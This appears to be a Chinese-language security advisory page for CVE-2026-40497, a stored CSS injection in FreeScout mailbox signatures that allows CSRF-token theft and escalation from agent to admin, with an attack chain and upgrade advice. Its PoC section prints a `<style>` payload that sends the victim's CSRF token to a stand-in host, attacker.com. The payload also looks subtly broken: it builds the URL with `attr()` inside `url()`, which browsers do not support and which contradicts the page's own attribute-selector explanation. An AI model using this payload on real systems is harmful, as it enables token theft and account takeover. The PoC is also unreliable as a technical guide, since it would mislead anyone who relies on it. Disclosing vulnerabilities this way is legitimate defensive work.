IPBUF安全漏洞报告
English
CVE-2026-40497 CVSS 8.1 高危

CVE-2026-40497 FreeScout CSS注入导致权限提升

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40497
漏洞类型
CSS注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
FreeScout

相关标签

CSS注入CSRF权限提升FreeScout存储型XSS

漏洞概述

FreeScout是一款免费的自托管帮助台软件。在1.8.213版本之前,该应用在处理邮箱签名时存在安全漏洞。尽管系统尝试过滤危险标签,但未移除`<style>`标签,且CSP策略允许内联样式。拥有邮箱设置权限的攻击者(如管理员或代理)可利用此漏洞注入恶意CSS代码。当其他用户查看相关会话时,攻击者可通过CSS属性选择器窃取其CSRF令牌,进而冒充受害者执行敏感操作,导致从代理权限提升至管理员权限。

技术细节

该漏洞源于FreeScout的`Helper::stripDangerousTags()`函数安全过滤机制不完善。虽然该函数在保存邮箱签名前移除了`<script>`、`<form>`、`<iframe>`和`<object>`等标签,但未能过滤`<style>`标签。邮箱签名字段通过POST /mailbox/settings/{id}接口保存,随后在会话视图的渲染过程中,直接使用`{!! !!}`语法进行未转义输出。由于应用的内容安全策略(CSP)配置为`style-src * 'self' 'unsafe-inline'`,这使得注入的内联样式可以自由执行。攻击者利用CSS属性选择器技术,构造特定的CSS规则(例如针对CSRF令牌的input元素设置背景图为外部链接),当具有权限的管理员或代理查看受感染的会话时,浏览器会解析CSS并向攻击者控制的服务器发起请求,从而窃取CSRF令牌。利用该令牌,攻击者可模拟受害者身份执行创建管理员账号、修改密码等关键操作,实现权限提升。

攻击链分析

STEP 1
步骤1:获取权限
攻击者需要拥有FreeScout的邮箱设置访问权限(通常是管理员角色或具备特定权限的代理)。
STEP 2
步骤2:注入恶意CSS
攻击者修改邮箱签名,在签名字段中插入包含CSS属性选择器的`<style>`标签,旨在窃取CSRF令牌。
STEP 3
步骤3:存储与渲染
恶意签名被保存到数据库。当其他用户(受害者)查看带有该签名的会话时,服务器未转义输出该内容。
STEP 4
步骤4:令牌窃取
受害者的浏览器解析页面,执行恶意CSS,并将CSRF令牌发送到攻击者控制的外部服务器。
STEP 5
步骤5:执行攻击
攻击者使用窃取到的CSRF令牌,伪造受害者请求,执行创建管理员账号等高权限操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<style> /* CSS Injection PoC to exfiltrate CSRF token */ /* Targeting the CSRF token input field by name */ input[name="_token"] { /* Exfiltrate the token value via background image request */ background-image: url("https://attacker.com/steal?token=" attr(value)); } /* Alternative: Exfiltrate via generic attribute selector if value is not directly accessible */ [data-csrf] { background-image: url("https://attacker.com/steal?token=" attr(data-csrf)); } </style>

影响范围

FreeScout < 1.8.213

防御指南

临时缓解措施
建议立即升级至1.8.213版本。若无法立即升级,应严格限制拥有邮箱签名编辑权限的用户数量,并对系统内的敏感操作(如添加管理员、修改密码)实施多因素认证(MFA)或额外的密码确认,以增加CSRF攻击的利用难度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表